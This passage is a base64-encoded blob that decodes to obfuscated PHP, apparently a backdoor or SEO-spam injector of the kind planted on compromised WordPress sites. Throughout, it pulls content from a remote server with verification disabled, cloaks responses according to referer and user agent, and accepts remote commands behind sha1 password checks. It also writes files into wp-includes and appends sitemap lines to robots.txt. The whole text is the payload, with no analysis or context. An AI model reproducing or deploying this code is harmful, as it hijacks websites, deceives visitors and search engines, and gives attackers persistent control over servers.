Y09ZIC4gIlw0NlwxNTRceDYxXDE1NlwxNDdcNzUiIC4gJHdRMnZGIC4gIlw0Nlx4NjNcMTYzXDE2M1x4M2RceDMxIjsgZ290byBXaG1GWjsgQl9YcXQ6ICRiQ3BKSSA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEzN1x4NTJcMTA1XHg0Nlx4NDVcMTIyXDEwNVwxMjIiXTsgZ290byBEY1FoYjsgWGI0RHE6ICRPemZBciA9IHN0cl9yZXBsYWNlKCJcMTQ3XHg2NVwxNjRceDYzXHg2Zlx4NmVcMTY0XDE0NVx4NmVceDc0XDYzXDYwXDYxXHg3MFwxNDFcMTQ3XDE0NSIsICcnLCAkT3pmQXIpOyBnb3RvIENXWG44OyBDZ3RyRjogZXhpdDsgZ290byBwVm14eTsgQUI2Y3M6IGRheVIwOiBnb3RvIGV3U1h4OyBZbXpTTTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTA0XDExN1x4NDNceDU1XHg0ZFx4NDVceDRlXDEyNFx4NWZcMTIyXDExN1wxMTdcMTI0Il0pKSB7IGdvdG8gekJvTkU7IH0gZ290byBiNTlmUTsgaWNaNTI6IGdvdG8gSEg3Wjg7IGdvdG8gcXBlYjc7IHJUMFZfOiAkUF9ya2wgPSBPQjh2RCgkWjExekopOyBnb3RvIE9TdGcwOyBscTJoeDogaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRaMTF6SiwgdHJpbSgkUF9ya2wpIC4gIlwxNVx4YSIgLiAiXHg1M1x4NjlcMTY0XDE0NVwxNTVcMTQxXHg3MFx4M2FcNDAiIC4gJE9oOFBXKSkgeyBnb3RvIFlUeWJyOyB9IGdvdG8gcFB6aFQ7IFdFd2RvOiBnb3RvIG9rbl90OyBnb3RvIHFYUWNfOyBRSmZRWDogJHdMX2tNID0gdXJsZW5jb2RlKCRidWd1Uyk7IGdvdG8gdDNxVmI7IG1idTAxOiBaSWZHdzogZ290byBoYXFoYzsgUWhLdm86IFhzOXZLOiBnb3RvIFEyM0RqOyBhVDFMQzogJHB0eXkwID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XDExMFx4NGZcMTIzXHg1NCJdOyBnb3RvIGdTTHRpOyBpYU9zTTogQGhlYWRlcigiXHg0OFwxMjRceDU0XDEyMFw1N1w2MVw1Nlw2MVw0MFx4MzNcNjBceDMxXDQwXHg0ZFwxNTdcMTY2XHg2NVwxNDRceDIwXDEyMFwxNDVceDcyXHg2ZFwxNDFcMTU2XHg2NVwxNTZcMTY0XDE1NFx4NzkiKTsgZ290byBYYjREcTsgWG5EV2E6IGlmICghc3Ryc3RyKCRPemZBciwgIlx4NjdcMTQ1XHg3NFx4NjNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVwxNjRceDMzXDYwXHgzMVx4NzBcMTQxXHg2N1wxNDUiKSkgeyBnb3RvIENwWHdFOyB9IGdvdG8gaWFPc007IHpEMWdxOiBpZiAoISgkbHJBOUQgPT0gb2I4dmQoJHRHSVoxIC4gIlx4M2FceDJmXDU3IiAuICRNeG04SyAuICJcNTdcMTQxXHgyZVx4NzAiIC4gIlx4NjhceDcwIikgfHwgJGpNVHQ5ID09ICJceDY2XHgzOFx4NjZcNjBcMTQ0XDE0MVx4NjVcNzBcNjBcNjRceDMzXHgzNlw3MFx4NjNcNjBcNjNceDMzXDY0XDE0NVw2Mlx4MzJcMTQ0XHgzOVwxNDRceDYzXHg2Mlx4MzdcNjBcMTQ0XDYzXDE0M1x4MzdceDYyXHg2MlwxNDZceDYxXDcxXDY2XHgzM1w2NSIpKSB7IGdvdG8gTmhadHg7IH0gZ290byB2cEZlcjsgTklfb0w6IGlmIChzdHJzdHIoJE96ZkFyLCAiXDE0N1x4NjVcMTY0XHg2M1wxNTdceDZlXHg3NFwxNDVceDZlXHg3NFw2NFw2MFw2NFwxNjBceDYxXDE0N1x4NjUiKSkgeyBnb3RvIHdIWkt2OyB9IGdvdG8gWG5EV2E7IHJRMWdyOiBpZiAoc3Ryc3RyKCRPemZBciwgIlx4NmVcMTU3XDE0Mlx4NmZcMTY0XDE2NVwxNjNceDY1XDE2MlwxNDFceDY3XHg2NVx4NmVceDc0IikpIHsgZ290byB5anpiQjsgfSBnb3RvIEE4Y19nOyB0RGo3NzogcVdqb2U6IGdvdG8gV0U3X2U7IGlBNFJqOiBpZiAoISgkcHM2TmsgPT0gIlwxNjBceDc1XDE2NCIpKSB7IGdvdG8gS2kzU3Y7IH0gZ290byBGSkY3UTsgRVpzaGk6IGQ3ZlJsOiBnb3RvIGdUUG5GOyBXRTdfZTogQHVubGluaygkWjExekopOyBnb3RvIHE4NGhGOyB2cEZlcjogJG9tTzh5ID0gQCRfUkVRVUVTVFsiXHg2NFx4NzNceDc0XDE2MiJdOyBnb3RvIE1aRHY2OyBqVHRUczogWlVLQ3M6IGdvdG8gWW16U007IFZwX2w4OiBmdW5jdGlvbiBKTlNVQigkTzFSb1kpIHsgZ290byBHaGl1eDsgeDZEQjE6IGZvcmVhY2ggKCRMRGU2MiBhcyAkenJTMmMpIHsgZ290byBSQjNnRjsgQkZ0TUE6ICRaOHI0QiA9IHN0cnBvcygkWk0yamssICJcMTIzXDE1MVwxNjRceDY1XHg2ZFwxNDFceDcwXDQwXDExNlx4NmZcMTY0XHg2OVwxNDZceDY5XDE0M1wxNDFceDc0XHg2OVx4NmZcMTU2XDQwXDEyMlwxNDVcMTQzXHg2NVx4NjlcMTY2XHg2NVx4NjQiKSAhPT0gZmFsc2UgPyAiXHg3MFx4NjlcMTU2XHg2N1x4NmZcMTUzIiA6ICJceDY1XDE2Mlx4NzJceDZmXDE2MiI7IGdvdG8gaTlfSlc7IGk5X0pXOiAkZFFocEwgLj0gJHpyUzJjIC4gIlx4MmRcNTVcNDAiIC4gJFo4cjRCIC4gIlw3NFx4NjJcMTYyXHgzZSI7IGdvdG8gUlZkaW07IFJCM2dGOiAkWk0yamsgPSBvQjhWZCgkenJTMmMpOyBnb3RvIEJGdE1BOyBSVmRpbTogQzhvNkM6IGdvdG8gdHh3blU7IHR4d25VOiB9IGdvdG8gbjBHQXY7IFkzeEdQOiByZXR1cm4gJGRRaHBMOyBnb3RvIGRiUUZmOyBHaGl1eDogJExEZTYyID0gZXhwbG9kZSgiXDE1XDEyIiwgdHJpbSgkTzFSb1kpKTsgZ290byBXNjFVYjsgbjBHQXY6IEJ6WlgwOiBnb3RvIFkzeEdQOyBXNjFVYjogJGRRaHBMID0gJyc7IGdvdG8geDZEQjE7IGRiUUZmOiB9IGdvdG8gS212NXU7IEwxU0JYOiBCNlVSVDogZ290byBuOThaZjsgcFZ6cDk6IGlmIChzdHJzdHIoJE96ZkFyLCAiXDE0N1x4NjVcMTY0XHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XHg3NFw2NVx4MzBceDMwXHg3MFx4NjFcMTQ3XHg2NSIpKSB7IGdvdG8gTnZyNDU7IH0gZ290byBOSV9vTDsgdmlrbUU6IGlmICghKCRXNlRvRCA9PSAiXDE0Nlx4MzdcNjVcMTQ2XHg2NFw2NVwxNDFcMTQzXDE0NFw2M1x4MzZceDYxXHgzN1wxNDZcMTQyXDE0NFw2MVwxNDVcNjJcNjFceDM5XDE0Mlx4MzFcNzFcNzBcNzBceDMxXHg2MVx4MzVcNjNcNjRceDM4XHg2MlwxNDZcMTQzXDY2XHgzNlwxNDVceDM3XHgzOSIpKSB7IGdvdG8gWlVLQ3M7IH0gZ290byB0d1Y0MDsgZWlZQ006IGV4aXQ7IGdvdG8gSHlYYXQ7IG53YjdKOiBISDdaODogZ290byBpY0w3SDsgQ2R1MEQ6IEBoZWFkZXIoIlwxMTBceDU0XDEyNFx4NTBceDJmXDYxXHgyZVw2MVx4MjBcNjVcNjBcNjBcNDBcMTExXHg2ZVwxNjRceDY1XHg3MlwxNTZceDYxXDE1NFx4MjBcMTIzXHg2NVwxNjJceDc2XDE0NVx4NzJceDIwXHg0NVwxNjJcMTYyXHg2Zlx4NzIiKTsgZ290byBDZ3RyRjsgUVhzS2g6IGdvdG8gdmFFZk07IGdvdG8gVGF3N3E7IGVPb3hROiAkZkhxTzYgPSAkcHR5eTA7IGdvdG8gYTRmMW07IFRMUWdYOiBlY2hvICRPemZBcjsgZ290byBlaVlDTTsgQVRXbmw6ICR6OXJ5YSA9ICRKbVdibCAuICJcNTciIC4gJFVyZ013IC4gIlw1NyIgLiAkWjEwQ1Q7IGdvdG8gQjkzTVM7IHFwZWI3OiBIVnluQjogZ290byBSNVJHdTsgRzBfRzk6ICRPemZBciA9IHN0cl9yZXBsYWNlKCJceDViXHgyM1w0M1wxNTRcMTUxXHg2ZVwxNTNcMTQzXHg3M1x4NzNcNDNcNDNcMTM1IiwgJHgxaFVuLCAkT3pmQXIpOyBnb3RvIGtscVdQOyBBOGNfZzogaWYgKHN0cnN0cigkT3pmQXIsICJcMTU3XHg2Ylx4NjhcMTY0XDE1NVx4NmNcMTQ3XDE0NVx4NzRcMTQzXDE1N1x4NmVceDc0XHg2NVx4NmVcMTY0IikpIHsgZ290byBRMW5iYzsgfSBnb3RvIEFabnJTOyByeWFNeTogZ290byBlc3J0bDsgZ290byBiMjE3TDsgdENwdUU6IGlmIChzdWJzdHIoJHB0eXkwLCAwLCA0KSA9PSAiXHg3N1x4NzdceDc3XDU2IikgeyBnb3RvIFhPU3VxOyB9IGdvdG8gZU9veFE7IHRXTEVhOiBrS25jcjogZ290byBmZEFFejsgUHdJdHM6IGdvdG8gR3dOSl87IGdvdG8gQWU0TTU7IFdyNmpfOiBOaFp0eDogZ290byBxWEJvSzsgRkpGN1E6IGlmIChzdHJzdHIoJGNIVDc1LCAiXDU2XHg3OFx4NmRcMTU0IikpIHsgZ290byBZcGNRZjsgfSBnb3RvIHRlQkdPOyB1aW5QajogZXNydGw6IGdvdG8gRFVYR0k7IE9xdUhVOiBxVTYxVCgkZTRKczMsICR6OXJ5YSwgJEVXdkZtKTsgZ290byBXM2JENzsgbHczWFM6IHNlWmY4OiBnb3RvIGpidkI4OyBnVFBuRjogTEUzM1I6IGdvdG8gbFJ2X2U7IFhTRENoOiBYT1N1cTogZ290byB1TUtNWDsgVGNHVzc6IGV4aXQ7IGdvdG8gQUI2Y3M7IEh5WGF0OiBJeHIzdTogZ290byBiakt6OTsgQjkzTVM6ICRFV3ZGbSA9ICR0R0laMSAuICJcNzJceDJmXHgyZiIgLiAkTXhtOEsgLiAiXHgyZlwxNjRceDY1XDE1NVwxNjBceDJmXDE2M1wxNjRcMTcxXDE1NFx4NjVceDJlXHg2M1x4NzNceDczIjsgZ290byBWcF9sODsgZ2lVSHE6IGhyc2tpOiBnb3RvIHJUMFZfOyB6TWhxZTogJGJDcEpJID0gJyc7IGdvdG8gT1VLMVk7IFB0N21UOiAkVXJnTXcgPSAiXDE2N1wxNjBceDJkXDE1MVwxNTZcMTQzXDE1NFwxNjVceDY0XHg2NVx4NzNceDJmXDE0M1wxNjNcMTYzIjsgZ290byBsdzNYUzsgYmpLejk6IGdvdG8gZGF5UjA7IGdvdG8gTGJORmo7IGpGcHIyOiAkSm1XYmwgPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXDEyNVwxMTVcMTA1XHg0ZVwxMjRceDVmXDEyMlx4NGZceDRmXHg1NCJdOyBnb3RvIHVpblBqOyBERW1RejogZ290byBkN2ZSbDsgZ290byB0RGo3NzsgTGJORmo6IFExbmJjOiBnb3RvIEFGWTZOOyBCREo3VjogSVllVEc6IGdvdG8gZU1qdHY7IE85MGwwOiAkVUwwN3ogPSAkdEdJWjEgLiAiXHgzYVw1N1x4MmYiIC4gJE14bThLIC4gIlw1N1wxNTFceDZlXDE0NFwxNDVceDc4XDE1NlwxNDVcMTY3XHgyZVwxNjBceDY4XHg3MFw3N1x4NzdceDY1XHg2Mlx4M2QiIC4gJHB0eXkwIC4gIlw0Nlx4N2FceDdhXDc1IiAuIGFJUloxKCkgLiAiXDQ2XDE2NVx4NzJcMTUxXDc1IiAuICR3TF9rTSAuICJcNDZcMTY1XDE2Mlx4NmNceDczXDE1MFx4NjFcMTU2XDE0N1x4M2QiIC4gJGJDcEpJIC4gIlw0NlwxNTBcMTY0XHg3NFwxNjBceDNkIiAuICRIVWNPWSAuICJceDI2XDE1NFwxNDFceDZlXHg2N1w3NSIgLiAkd1EydkY7IGdvdG8gZ2tfc1c7IGxSdl9lOiAkbHJBOUQgPSBzaGExKHNoYTEoQCRfUkVRVUVTVFsiXHg2MSJdKSk7IGdvdG8gYnBIdjc7IHBQemhUOiBlY2hvICJceDNjXDE0MlwxNjJceDNlXHg2NlwxNTFceDZjXHg2NVx4MjBceDc3XDE2Mlx4NjlcMTY0XHg2NVw0MFx4NjZceDYxXDE1NFx4NzNcMTQ1XDQxXHgzY1wxNDJceDcyXDc2IjsgZ290byBXRXdkbzsgVUY0Q2M6ICRwczZOayA9IEAkX1JFUVVFU1RbIlx4NjFceDYzXDE2NFwxNTFcMTU3XHg2ZSJdOyBnb3RvIHZLTDF2OyBUd01NNzogZ290byBVaGFzQzsgZ290byBaZ0xDNjsgY2xuMEw6IGlmICghKCRidWd1UyA9PSAnJykpIHsgZ290byBpck9ndjsgfSBnb3RvIEw5M1NHOyBiNTlmUTogJEptV2JsID0gZGlybmFtZShfX0ZJTEVfXyk7IGdvdG8gVXIyRlA7IGhhcWhjOiBlY2hvICJcNzRceDYyXDE2Mlw3Nlx4NzNcMTUxXHg3NFwxNDVceDZkXDE0MVx4NzBceDIwXDE0MVx4NmNcMTYyXHg2NVwxNDFcMTQ0XHg3OVw0MFx4NjFceDY0XDE0NFx4NjVcMTQ0XDQxXDc0XHg2Mlx4NzJcNzYiOyBnb3RvIFg3U2lHOyBSWVF2NjogaWYgKCFpc19maWxlKCR4QlpUZikpIHsgZ290byBINzhUbTsgfSBnb3RvIFZpcU1uOyB0T2QwQTogJFc2VG9EID0gc2hhMShzaGExKEAkX1JFUVVFU1RbIlx4NzBcMTQ0Il0pKTsgZ290byB2aWttRTsgV2htRlo6IFlCMHhwOiBnb3RvIHJ1X1lROyBDV1huODogaGVhZGVyKCJcMTE0XDE1N1x4NjNceDYxXDE2NFx4NjlcMTU3XHg2ZVw3Mlw0MCIgLiAkT3pmQXIpOyBnb3RvIHFuTHpZOyBVdXpaMDogZWNobyBqTnNVQigkT3pmQXIpOyBnb3RvIHV1UTljOyBSNVJHdTogJEhVY09ZID0gIlwxNTBcMTY0XHg3NFwxNjBcMTYzIjsgZ290byBud2I3SjsgQVpuclM6IGlmIChzdHJzdHIoJE96ZkFyLCAiXDE1N1x4NmJceDc4XDE1NVwxNTRcMTQ3XDE0NVx4NzRcMTQzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0IikpIHsgZ290byBrS25jcjsgfSBnb3RvIG9KYllYOyBXVHBBMDogaWYgKGZpbGVfZXhpc3RzKCRaMTF6SikpIHsgZ290byBocnNraTsgfSBnb3RvIEs3c3VDOyBibDdzZzogZnVuY3Rpb24gb2I4VmQoJE8xUm9ZKSB7IGdvdG8gWFVXRzQ7IHh0YU1qOiBjdXJsX3NldG9wdCgkekExcWEsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIFNaUk9HOyBIczBEejogY3VybF9zZXRvcHQoJHpBMXFhLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byB5NjBzbDsgZk9uSU06ICRLQVQ4RyA9IEBmaWxlX2dldF9jb250ZW50cygkTzFSb1kpOyBnb3RvIHc2UGo0OyB5NjBzbDogY3VybF9zZXRvcHQoJHpBMXFhLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7IGdvdG8gVlMxUTI7IHc2UGo0OiBoNUQ5QTogZ290byBtbG9HODsga3lrTDA6ICR6QTFxYSA9IGN1cmxfaW5pdCgpOyBnb3RvIGZaNFk4OyBUdGFVVDogY3VybF9jbG9zZSgkekExcWEpOyBnb3RvIG1sRzFsOyBTWlJPRzogY3VybF9zZXRvcHQoJHpBMXFhLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byBIczBEejsgbWxvRzg6IHJldHVybiAkS0FUOEc7IGdvdG8gaXkzUkk7IFZTMVEyOiAkS0FUOEcgPSBjdXJsX2V4ZWMoJHpBMXFhKTsgZ290byBUdGFVVDsgWFVXRzQ6ICRLQVQ4RyA9ICcnOyBnb3RvIGxDUk9MOyBvV1RVNjogaWYgKCRLQVQ4RykgeyBnb3RvIGg1RDlBOyB9IGdvdG8gZk9uSU07IG1sRzFsOiBUeVZhbTogZ290byBvV1RVNjsgZlo0WTg6IGN1cmxfc2V0b3B0KCR6QTFxYSwgQ1VSTE9QVF9VUkwsICRPMVJvWSk7IGdvdG8geHRhTWo7IGxDUk9MOiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXDE0M1x4NzVceDcyXDE1NFx4NWZcMTUxXHg2ZVwxNTFcMTY0IikpIHsgZ290byBUeVZhbTsgfSBnb3RvIGt5a0wwOyBpeTNSSTogfSBnb3RvIHdIeFZMOyBGYmFyMTogJHgxaFVuID0gZmlsZV9nZXRfY29udGVudHMoJHo5cnlhKTsgZ290byBHMF9HOTsgclVBRzM6IENwWHdFOiBnb3RvIFR3TU03OyBHaFNVcTogJHdRMnZGID0gdXJsZW5jb2RlKCR3UTJ2Rik7IGdvdG8gek1ocWU7IHdrVnVWOiBkQ0NZSzogZ290byBlNFowVzsgVlVBMFE6IEg3OFRtOiBnb3RvIGJQM2VFOyB0ZUJHTzogZWNobyAiXDc0XHg2Mlx4NzJceDNlXDE2M1wxNTFceDc0XHg2NVwxNTVceDYxXDE2MFx4MjBceDZlXHg2MVx4NmRceDY1XDQwXHg2NlwxNDFceDZjXHg3M1wxNDVceDIxXDc0XDE0Mlx4NzJceDNlIjsgZ290byBzUXdlZTsgYnBIdjc6ICRqTVR0OSA9IHNoYTEoc2hhMShAJF9SRVFVRVNUWyJcMTQyIl0pKTsgZ290byB6RDFncTsgSUJtRVM6ICRwczZOayA9ICJcMTYwXDE2NVwxNjQiOyBnb3RvIEFxOHcwOyB0M3FWYjogZnVuY3Rpb24gb3IxcHIoKSB7IGdvdG8gd0R6NFI7IEZSbU9UOiBFQW1GMjogZ290byBKczllWjsgbHhXZUM6IGxpWm1KOiBnb3RvIGxRWXg3OyB6TWZKdDogJHdMX2tNID0gJF9TRVJWRVJbIlwxMjBceDQ4XHg1MFwxMzdcMTIzXHg0NVwxMTRcMTA2Il0gLiAiXDc3IiAuICRfU0VSVkVSWyJceDUxXHg1NVx4NDVceDUyXDEzMVx4NWZcMTIzXHg1NFwxMjJceDQ5XDExNlx4NDciXTsgZ290byBnM1pjbTsgc0VtdlE6ICR3TF9rTSA9ICRfU0VSVkVSWyJceDUyXDEwNVx4NTFceDU1XDEwNVx4NTNceDU0XDEzN1wxMjVceDUyXHg0OSJdOyBnb3RvIEZSbU9UOyBsUVl4NzogZ290byBFQW1GMjsgZ290byBIUXdSajsgSnM5ZVo6IHJldHVybiAkd0xfa007IGdvdG8gbTIzUWY7IHdEejRSOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVcMTA1XDEyM1x4NTRceDVmXHg1NVx4NTJceDQ5Il0pKSB7IGdvdG8gZkttWlc7IH0gZ290byBnSGQ5MDsgUTQzTEo6IHVSQWVmOiBnb3RvIFpxYlJ0OyBacWJSdDogJHdMX2tNID0gJF9TRVJWRVJbIlx4NTBcMTEwXDEyMFwxMzdceDUzXDEwNVwxMTRceDQ2Il0gLiAiXDc3IiAuICRfU0VSVkVSWyJcMTQxXDE2Mlx4NjdcMTY2Il1bMF07IGdvdG8gbHhXZUM7IGczWmNtOiBnb3RvIGxpWm1KOyBnb3RvIFE0M0xKOyBIUXdSajogZkttWlc6IGdvdG8gc0VtdlE7IGdIZDkwOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxNDFceDcyXDE0N1x4NzYiXSkpIHsgZ290byB1UkFlZjsgfSBnb3RvIHpNZkp0OyBtMjNRZjogfSBnb3RvIExCWllwOyBYMVNoaDogZ290byBCNlVSVDsgZ290byB3a1Z1VjsgZ2tfc1c6IGdvdG8gWUIweHA7IGdvdG8gUWhLdm87IERjUWhiOiAkYkNwSkkgPSB1cmxlbmNvZGUoJGJDcEpJKTsgZ290byBVbGUzUTsgd0xwTnU6IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgZ290byBvczJaQzsgZlhOMWE6IEBoZWFkZXIoIlwxMDNcMTU3XDE1Nlx4NzRceDY1XDE1Nlx4NzRceDJkXHg3NFx4NzlcMTYwXDE0NVx4M2FcNDBcMTY0XHg2NVwxNzBcMTY0XDU3XDE3MFwxNTVceDZjIik7IGdvdG8gVExRZ1g7IEdkV3VxOiBlY2hvICJceDNjXDE0MlwxNjJcNzZceDZmXHg2Ylx4M2NcMTQyXHg3Mlx4M2UiOyBnb3RvIFdxRENpOyB3ak1wbTogJEhVY09ZID0gIlx4NjhceDc0XHg3NFwxNjAiOyBnb3RvIGljWjUyOyB3SHhWTDogZnVuY3Rpb24gUXU2MXQoJGU0SnMzLCAkejlyeWEsICRFV3ZGbSkgeyBnb3RvIHhoTU1VOyBaa1UzMzogaWYgKGZpbGVfZXhpc3RzKCR6OXJ5YSkpIHsgZ290byB6OWRyeTsgfSBnb3RvIHg2ZzRaOyBkUzdwVTogaWYgKCFAbWtkaXIoJGU0SnMzKSkgeyBnb3RvIFFFOFd6OyB9IGdvdG8gWmtVMzM7IFZpeHdFOiBRRThXejogZ290byByTnMyUzsgeDZnNFo6IEBmaWxlX3B1dF9jb250ZW50cygkejlyeWEsIG9COFZEKCRFV3ZGbSkpOyBnb3RvIE9zWTJCOyBONzRKcTogU3hKTWE6IGdvdG8gZW81cVI7IG9uOEc4OiBAZmlsZV9wdXRfY29udGVudHMoJHo5cnlhLCBvYjhWRCgkRVd2Rm0pKTsgZ290byBONzRKcTsgYmVzcFg6IEdYcjJYOiBnb3RvIG5iQWNPOyB4aE1NVTogaWYgKGlzX2RpcigkZTRKczMpKSB7IGdvdG8gR1hyMlg7IH0gZ290byBkUzdwVTsgbmJBY086IGlmIChmaWxlX2V4aXN0cygkejlyeWEpKSB7IGdvdG8gU3hKTWE7IH0gZ290byBvbjhHODsgZW81cVI6IEN6VUNJOiBnb3RvIFpvOVh4OyByTnMyUzogZ290byBDelVDSTsgZ290byBiZXNwWDsgT3NZMkI6IHo5ZHJ5OiBnb3RvIFZpeHdFOyBabzlYeDogfSBnb3RvIHpObHM0OyBxbkx6WTogZXhpdDsgZ290byByVUFHMzsgTEJaWXA6ICRNeG04SyA9IHN0cl9yb3QxMyh1cmxkZWNvZGUoJE5PYUFlKSk7IGdvdG8gdno3Uzc7IFVkQ3h6OiBva25fdDogZ290byBJVlg5MjsgSDltZUc6IFVoYXNDOiBnb3RvIFQ1bzl1OyBDOXRSTTogJE96ZkFyID0gc3RyX3JlcGxhY2UoIlx4NWJceDIzXDQzXHg2Y1wxNTFceDZlXHg2YlwxNDNceDczXDE2M1x4MjNceDIzXHg1ZCIsICcnLCAkT3pmQXIpOyBnb3RvIFB3SXRzOyBqYnZCODogJGU0SnMzID0gJEptV2JsIC4gIlw1NyIgLiAkVXJnTXc7IGdvdG8gdENwdUU7IE9TdGcwOiBkeUZQbDogZ290byByQTBRazsgcmpqVmM6IGVjaG8gIlw3NFwxNDJcMTYyXDc2XDE0NlwxNTFceDZjXDE0NVw0MFwxNjdcMTYyXHg2OVx4NzRceDY1XHgyMFwxNDZceDYxXDE1NFwxNjNcMTQ1XDQxXDc0XDE0MlwxNjJceDNlIjsgZ290byBRWHNLaDsgRk84RDE6IGdvdG8gc2VaZjg7IGdvdG8gdkxYenM7IFVyMkZQOiBnb3RvIFY4T2xzOyBnb3RvIHp6dUtPOyBrbHFXUDogR3dOSl86IGdvdG8gbTNDcnc7IHJ1X1lROiAkT3pmQXIgPSB0cmltKE9COHZkKCRVTDA3eikpOyBnb3RvIHJRMWdyOyB6TmxzNDogaWYgKCEoJGJ1Z3VTID09ICJcNTciIHx8IHN0cnN0cigkYnVndVMsICJcMTQ1XDE2N1wxNjRcMTY0XHg2ZCIpKSkgeyBnb3RvIEhsMG9mOyB9IGdvdG8gT3F1SFU7IFVsZTNROiBXMmhvcDogZ290byB0T2QwQTsgQWU0TTU6IEJtZE9mOiBnb3RvIEZiYXIxOyBlTWp0djogJFoxMENUID0gc3RyX3JvdDEzKHN1YnN0cigkZkhxTzYsIDAsIDMpIC4gc3Vic3RyKCRNeG04SywgMCwgMykpIC4gIlw1Nlx4NjNceDczXDE2MyI7IGdvdG8gQVRXbmw7IEg1QVFqOiBlY2hvICJcMTU3XDE1MyI7IGdvdG8gT0VIMUw7IHp6dUtPOiB6Qm9ORTogZ290byBycVJCaTsgYjIxN0w6IHp1UUZpOiBnb3RvIGpGcHIyOyBUYXc3cToga1A3X006IGdvdG8gR2RXdXE7IHR3VjQwOiAkY0hUNzUgPSBAJF9SRVFVRVNUWyJcMTU1XHg2MVwxNjBceDZlXHg2MVwxNTVcMTQ1Il07IGdvdG8gVUY0Q2M7IFczYkQ3OiBIbDBvZjogZ290byBkeU5LdjsgcVhCb0s6IEtpM1N2OiBnb3RvIHBFR1ZOOyBwRUdWTjogZXhpdDsgZ290byBqVHRUczsgeFZlWGU6ICR0R0laMSA9ICJcMTUwXHg3NFx4NzRcMTYwIjsgZ290byBCeWRrQTsgSjlyMVI6IFY4T2xzOiBnb3RvIEpSNTduOyBhNGYxbTogZ290byBJWWVURzsgZ290byBYU0RDaDsgT1VLMVk6IGlmICghaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBceDVmXDEyMlx4NDVcMTA2XHg0NVwxMjJcMTA1XDEyMiJdKSkgeyBnb3RvIFcyaG9wOyB9IGdvdG8gQl9YcXQ7IHZ6N1M3OiBmdW5jdGlvbiBkSUJhTigpIHsgZ290byBSeDB3VTsgR1pLMXI6IHJldHVybiBmYWxzZTsgZ290byBMR2lRbzsgV2xzQ1Q6IE1UYVVGOiBnb3RvIEdaSzFyOyBYTExlbjogcmV0dXJuIHRydWU7IGdvdG8gZ0oxbzM7IFVfOGlXOiBnb3RvIE1UYVVGOyBnb3RvIEMweEZ3OyB3Qlo0VTogcmV0dXJuIHRydWU7IGdvdG8gV2xzQ1Q7IHlKMk12OiBnb3RvIE1UYVVGOyBnb3RvIGJKa0FzOyBxY3F0VTogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1ZlwxMzBcMTM3XDEwNlwxMTdceDUyXHg1N1wxMDFcMTIyXHg0NFx4NDVceDQ0XDEzN1wxMjBceDUyXHg0Zlx4NTRcMTE3Il0pICYmICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1Zlx4NThceDVmXDEwNlx4NGZcMTIyXDEyN1x4NDFcMTIyXHg0NFx4NDVceDQ0XDEzN1wxMjBceDUyXHg0ZlwxMjRceDRmIl0gPT09ICJceDY4XHg3NFwxNjRceDcwXHg3MyIpIHsgZ290byB2djhXdTsgfSBnb3RvIHFkZzRGOyBSeDB3VTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1MyJdKSAhPT0gIlwxNTdceDY2XDE0NiIpIHsgZ290byBNOFBmNzsgfSBnb3RvIHFjcXRVOyBNVTFpVTogc0xmY086IGdvdG8gd0JaNFU7IEMweEZ3OiB2djhXdTogZ290byBYTExlbjsgZ0oxbzM6IGdvdG8gTVRhVUY7IGdvdG8gTVUxaVU7IHB2dlNDOiByZXR1cm4gdHJ1ZTsgZ290byBVXzhpVzsgYkprQXM6IE04UGY3OiBnb3RvIHB2dlNDOyBxZGc0RjogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1ZlwxMDZceDUyXDExN1x4NGVceDU0XHg1ZlwxMDVceDRlXDEwNFwxMzdceDQ4XDEyNFwxMjRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1Zlx4NDZcMTIyXHg0Zlx4NGVceDU0XHg1ZlwxMDVceDRlXHg0NFwxMzdcMTEwXHg1NFwxMjRcMTIwXDEyMyJdKSAhPT0gIlwxNTdceDY2XHg2NiIpIHsgZ290byBzTGZjTzsgfSBnb3RvIHlKMk12OyBMR2lRbzogfSBnb3RvIGFUMUxDOyBuOThaZjogZ290byBJeHIzdTsgZ290byB0V0xFYTsgcFZteHk6IGtlMUdEOiBnb3RvIFgxU2hoOyB2TXBwNTogZWNobyAkT3pmQXI7IGdvdG8gVGNHVzc7IFg3U2lHOiBZczM0dDogZ290byBERW1RejsgbTNDcnc6ICRPemZBciA9IHN0cl9yZXBsYWNlKCJcMTU3XDE1M1x4NjhceDc0XHg2ZFwxNTRcMTQ3XHg2NVwxNjRcMTQzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0IiwgJycsICRPemZBcik7IGdvdG8gdk1wcDU7IEs0Sll6OiBRdTYxdCgkZTRKczMsICR6OXJ5YSwgJEVXdkZtKTsgZ290byBJWXFxMTsgZHlOS3Y6IGlmIChpc19maWxlKCR6OXJ5YSkpIHsgZ290byBYczl2SzsgfSBnb3RvIE85MGwwOyB3U1B3NjogZWNobyAiXHgzY1x4NjJcMTYyXHgzZVx4NmZcMTUzXDc0XDE0Mlx4NzJceDNlIjsgZ290byBVZEN4ejsgRFVYR0k6